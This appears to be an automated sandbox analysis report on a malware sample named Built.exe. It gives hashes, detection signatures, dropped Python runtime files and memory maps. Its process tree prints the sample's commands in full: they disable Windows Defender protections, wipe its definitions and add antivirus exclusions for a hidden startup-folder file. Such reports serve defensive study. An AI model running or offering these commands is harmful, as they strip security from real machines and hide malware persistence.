Analysis

  • max time kernel
    2s
  • max time network
    6s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07-11-2024 17:23

General

  • Target

    Built.exe

  • Size

    6.9MB

  • MD5

    68efaa7f99940840edaabe6260c52c09

  • SHA1

    f2df21b7a9f7b3751754e3050b0d8d245acafde5

  • SHA256

    eb4614ec6569c1e188f69e8dda2b7ed6123e1c9089cb7dbcdceaf02bfd65d4a8

  • SHA512

    d5d33656eb1e96b6d4642afe79713796b6b03e5a743d44372f5363061e526432f159579aaa8d141ebf86edf80dcb5fd8470fe9687a236e3246c1f75fc8a2fa78

  • SSDEEP

    98304:pyDjWM8JEE1F7amaHl3Ne4i3Tf2PkOpfW9hZMMoVmkzhxIdfXeRpYRJJcGhEIFWj:py0seNTfm/pf+xk4dWRpmrbW3jmre

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Loads dropped DLL 17 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 37 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2932
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4568
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
          PID:4796
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
            4⤵
            • Command and Scripting Interpreter: PowerShell
            PID:4008
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          3⤵
            PID:2344
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              4⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3208
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‍ ‍.scr'"
            3⤵
              PID:444
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‍ ‍.scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                PID:2632
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
                PID:3936
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  4⤵
                  • Enumerates processes with tasklist
                  PID:3580
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                3⤵
                  PID:5004

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\VCRUNTIME140.dll

              Filesize

              96KB

              MD5

              f12681a472b9dd04a812e16096514974

              SHA1

              6fd102eb3e0b0e6eef08118d71f28702d1a9067c

              SHA256

              d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

              SHA512

              7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\_bz2.pyd

              Filesize

              46KB

              MD5

              0c13627f114f346604b0e8cbc03baf29

              SHA1

              bf77611d924df2c80aabcc3f70520d78408587a2

              SHA256

              df1e666b55aae6ede59ef672d173bd0d64ef3e824a64918e081082b8626a5861

              SHA512

              c97fa0f0988581eae5194bd6111c1d9c0e5b1411bab47df5aa7c39aad69bfbeca383514d6aaa45439bb46eacf6552d7b7ed08876b5e6864c8507eaa0a72d4334

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\_ctypes.pyd

              Filesize

              57KB

              MD5

              38fb83bd4febed211bd25e19e1cae555

              SHA1

              4541df6b69d0d52687edb12a878ae2cd44f82db6

              SHA256

              cd31af70cbcfe81b01a75ebeb2de86079f4cbe767b75c3b5799ef8b9f0392d65

              SHA512

              f703b231b675c45accb1f05cd34319b5b3b7583d85bf2d54194f9e7c704fbcd82ef2a2cd286e6a50234f02c43616fbeccfd635aefd73424c1834f5dca52c0931

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\_decimal.pyd

              Filesize

              104KB

              MD5

              7ba541defe3739a888be466c999c9787

              SHA1

              ad0a4df9523eeeafc1e67b0e4e3d7a6cf9c4dfac

              SHA256

              f90efa10d90d940cde48aafe02c13a0fc0a1f0be7f3714856b7a1435f5decf29

              SHA512

              9194a527a17a505d049161935432fa25ba154e1aee6306dee9054071f249c891f0ca7839de3a21d09b57fdc3f29ee7c4f08237b0dfffafa8f0078cfe464bed3b

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\_hashlib.pyd

              Filesize

              33KB

              MD5

              596df8ada4b8bc4ae2c2e5bbb41a6c2e

              SHA1

              e814c2e2e874961a18d420c49d34b03c2b87d068

              SHA256

              54348cfbf95fd818d74014c16343d9134282d2cf238329eec2cda1e2591565ec

              SHA512

              e16aad5230e4af7437b19c3db373b1a0a0a84576b608b34430cced04ffc652c6fb5d8a1fe1d49ac623d8ae94c8735800c6b0a12c531dcdd012b05b5fd61dff2e

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\_lzma.pyd

              Filesize

              84KB

              MD5

              8d9e1bb65a192c8446155a723c23d4c5

              SHA1

              ea02b1bf175b7ef89ba092720b3daa0c11bef0f0

              SHA256

              1549fe64b710818950aa9bf45d43fe278ce59f3b87b3497d2106ff793efa6cf7

              SHA512

              4d67306fe8334f772fe9d463cb4f874a8b56d1a4ad3825cff53cae4e22fa3e1adba982f4ea24785312b73d84a52d224dfb4577c1132613aa3ae050a990e4abdf

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\_queue.pyd

              Filesize

              24KB

              MD5

              fbbbfbcdcf0a7c1611e27f4b3b71079e

              SHA1

              56888df9701f9faa86c03168adcd269192887b7b

              SHA256

              699c1f0f0387511ef543c0df7ef81a13a1cffde4ce4cd43a1baf47a893b99163

              SHA512

              0a5ba701653ce9755048ae7b0395a15fbb35509bef7c4b4fe7f11dc4934f3bd298bcddbf2a05b61f75f8eb44c4c41b3616f07f9944e0620b031cbe87a7443284

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\_socket.pyd

              Filesize

              41KB

              MD5

              4351d7086e5221398b5b78906f4e84ac

              SHA1

              ba515a14ec1b076a6a3eab900df57f4f37be104d

              SHA256

              a0fa25eef91825797f01754b7d7cf5106e355cf21322e926632f90af01280abe

              SHA512

              a1bcf51e797ccae58a0b4cfe83546e5e11f8fc011ca3568578c42e20bd7a367a5e1fa4237fb57aa84936eec635337e457a61a2a4d6eca3e90e6dde18ae808025

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\_sqlite3.pyd

              Filesize

              54KB

              MD5

              d678600c8af1eeeaa5d8c1d668190608

              SHA1

              080404040afc8b6e5206729dd2b9ee7cf2cb70bc

              SHA256

              d6960f4426c09a12488eb457e62506c49a58d62a1cb16fbc3ae66b260453c2ed

              SHA512

              8fd5f0fd5bd60c6531e1b4ad867f81da92d5d54674028755e5680fb6005e6444805003d55b6cbaf4cdad7b4b301cffab7b010229f6fd9d366405b8ade1af72d9

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\_ssl.pyd

              Filesize

              60KB

              MD5

              156b1fa2f11c73ed25f63ee20e6e4b26

              SHA1

              36189a5cde36d31664acbd530575a793fc311384

              SHA256

              a9b5f6c7a94fb6bfaf82024f906465ff39f9849e4a72a98a9b03fc07bf26da51

              SHA512

              a8181ffeb3cf8ef2a25357217a3dd05242cc0165473b024cf0aeb3f42e21e52c2550d227a1b83a6e5dab33a185d78e86e495e9634e4f4c5c4a1aec52c5457dca

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\base_library.zip

              Filesize

              1.4MB

              MD5

              2a138e2ee499d3ba2fc4afaef93b7caa

              SHA1

              508c733341845e94fce7c24b901fc683108df2a8

              SHA256

              130e506ead01b91b60d6d56072c468aeb5457dd0f2ecd6ce17dfcbb7d51a1f8c

              SHA512

              1f61a0fda5676e8ed8d10dfee78267f6d785f9c131f5caf2dd984e18ca9e5866b7658ab7edb2ffd74920a40ffea5cd55c0419f5e9ee57a043105e729e10d820b

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\blank.aes

              Filesize

              125KB

              MD5

              6f1b365d535873c4f4609f05e381eaa8

              SHA1

              7a9490b8a104daaf2e6a0cdf34f905f9c065e704

              SHA256

              c1190ff7727f48fb2496d68dfaede03552053a1302a9cdd7b0b276a88bb2ba02

              SHA512

              49fddeaeb5d804a6bae1a912a6daa629e9b3614a0d5b3130f7e972f9c13f6573c9977c615e8198eba4e627b3edfe7930aaefa55bdebe031de64ef539a9ad07b1

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\libcrypto-1_1.dll

              Filesize

              1.1MB

              MD5

              daa2eed9dceafaef826557ff8a754204

              SHA1

              27d668af7015843104aa5c20ec6bbd30f673e901

              SHA256

              4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914

              SHA512

              7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\libffi-8.dll

              Filesize

              24KB

              MD5

              90a6b0264a81bb8436419517c9c232fa

              SHA1

              17b1047158287eb6471416c5df262b50d6fe1aed

              SHA256

              5c4a0d4910987a38a3cd31eae5f1c909029f7762d1a5faf4a2e2a7e9b1abab79

              SHA512

              1988dd58d291ee04ebfec89836bb14fcaafb9d1d71a93e57bd06fe592feace96cdde6fcce46ff8747339659a9a44cdd6cf6ac57ff495d0c15375221bf9b1666e

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\libssl-1_1.dll

              Filesize

              203KB

              MD5

              eac369b3fde5c6e8955bd0b8e31d0830

              SHA1

              4bf77158c18fe3a290e44abd2ac1834675de66b4

              SHA256

              60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c

              SHA512

              c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\python311.dll

              Filesize

              1.6MB

              MD5

              bb46b85029b543b70276ad8e4c238799

              SHA1

              123bdcd9eebcac1ec0fd2764a37e5e5476bb0c1c

              SHA256

              72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0

              SHA512

              5e993617509c1cf434938d6a467eb0494e04580ad242535a04937f7c174d429da70a6e71792fc3de69e103ffc5d9de51d29001a4df528cfffefdaa2cef4eaf31

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\rar.exe

              Filesize

              615KB

              MD5

              9c223575ae5b9544bc3d69ac6364f75e

              SHA1

              8a1cb5ee02c742e937febc57609ac312247ba386

              SHA256

              90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

              SHA512

              57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\rarreg.key

              Filesize

              456B

              MD5

              4531984cad7dacf24c086830068c4abe

              SHA1

              fa7c8c46677af01a83cf652ef30ba39b2aae14c3

              SHA256

              58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

              SHA512

              00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\select.pyd

              Filesize

              24KB

              MD5

              abf7864db4445bbbd491c8cff0410ae0

              SHA1

              4b0f3c5c7bf06c81a2c2c5693d37ef49f642a9b7

              SHA256

              ddeade367bc15ea09d42b2733d88f092da5e880362eabe98d574bc91e03de30e

              SHA512

              8f55084ee137416e9d61fe7de19e4cff25a4b752494e9b1d6f14089448ef93e15cd820f9457c6ce9268781bd08e3df41c5284801f03742bc5c40b3b81fb798c5

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\sqlite3.dll

              Filesize

              608KB

              MD5

              ddd0dd698865a11b0c5077f6dd44a9d7

              SHA1

              46cd75111d2654910f776052cc30b5e1fceb5aee

              SHA256

              a9dd0275131105df5611f31a9e6fbf27fd77d0a35d1a73a9f4941235fbc68bd7

              SHA512

              b2ee469ea5a6f49bbdd553363baa8ebad2baf13a658d0d0c167fde7b82eb77a417d519420db64f325d0224f133e3c5267df3aa56c11891d740d6742adf84dbe4

            • C:\Users\Admin\AppData\Local\Temp\_MEI29322\unicodedata.pyd

              Filesize

              293KB

              MD5

              bb3fca6f17c9510b6fb42101fe802e3c

              SHA1

              cb576f3dbb95dc5420d740fd6d7109ef2da8a99d

              SHA256

              5e2f1bbfe3743a81b00717011094798929a764f64037bedb7ea3d2ed6548eb87

              SHA512

              05171c867a5d373d4f6420136b6ac29fa846a85b30085f9d7fabcbb4d902afee00716dd52010ed90e97c18e6cb4e915f13f31a15b2d8507e3a6cfa80e513b6a2

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ch0zhj3x.ctx.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/3208-88-0x00007FFBA78C0000-0x00007FFBA8382000-memory.dmp

              Filesize

              10.8MB

            • memory/3208-86-0x00007FFBA78C3000-0x00007FFBA78C5000-memory.dmp

              Filesize

              8KB

            • memory/3208-98-0x000001D67EF80000-0x000001D67EFA2000-memory.dmp

              Filesize

              136KB

            • memory/3208-87-0x00007FFBA78C0000-0x00007FFBA8382000-memory.dmp

              Filesize

              10.8MB

            • memory/4568-54-0x00007FFBBDEA0000-0x00007FFBBDECD000-memory.dmp

              Filesize

              180KB

            • memory/4568-60-0x00007FFBBA690000-0x00007FFBBA803000-memory.dmp

              Filesize

              1.4MB

            • memory/4568-62-0x00007FFBBF640000-0x00007FFBBF659000-memory.dmp

              Filesize

              100KB

            • memory/4568-64-0x00007FFBBEF20000-0x00007FFBBEF2D000-memory.dmp

              Filesize

              52KB

            • memory/4568-66-0x00007FFBBB1D0000-0x00007FFBBB1FE000-memory.dmp

              Filesize

              184KB

            • memory/4568-71-0x00007FFBB9F60000-0x00007FFBBA018000-memory.dmp

              Filesize

              736KB

            • memory/4568-72-0x0000024B473A0000-0x0000024B47715000-memory.dmp

              Filesize

              3.5MB

            • memory/4568-74-0x00007FFBBEF30000-0x00007FFBBEF54000-memory.dmp

              Filesize

              144KB

            • memory/4568-73-0x00007FFBA87B0000-0x00007FFBA8B25000-memory.dmp

              Filesize

              3.5MB

            • memory/4568-76-0x00007FFBBA3F0000-0x00007FFBBA404000-memory.dmp

              Filesize

              80KB

            • memory/4568-70-0x00007FFBA8EC0000-0x00007FFBA94A8000-memory.dmp

              Filesize

              5.9MB

            • memory/4568-79-0x00007FFBBEF10000-0x00007FFBBEF1D000-memory.dmp

              Filesize

              52KB

            • memory/4568-78-0x00007FFBBDEA0000-0x00007FFBBDECD000-memory.dmp

              Filesize

              180KB

            • memory/4568-83-0x00007FFBBF730000-0x00007FFBBF749000-memory.dmp

              Filesize

              100KB

            • memory/4568-84-0x00007FFBA8690000-0x00007FFBA87AC000-memory.dmp

              Filesize

              1.1MB

            • memory/4568-58-0x00007FFBBB2E0000-0x00007FFBBB303000-memory.dmp

              Filesize

              140KB

            • memory/4568-85-0x00007FFBBB2E0000-0x00007FFBBB303000-memory.dmp

              Filesize

              140KB

            • memory/4568-56-0x00007FFBBF730000-0x00007FFBBF749000-memory.dmp

              Filesize

              100KB

            • memory/4568-32-0x00007FFBC4430000-0x00007FFBC443F000-memory.dmp

              Filesize

              60KB

            • memory/4568-89-0x00007FFBBA690000-0x00007FFBBA803000-memory.dmp

              Filesize

              1.4MB

            • memory/4568-29-0x00007FFBBEF30000-0x00007FFBBEF54000-memory.dmp

              Filesize

              144KB

            • memory/4568-25-0x00007FFBA8EC0000-0x00007FFBA94A8000-memory.dmp

              Filesize

              5.9MB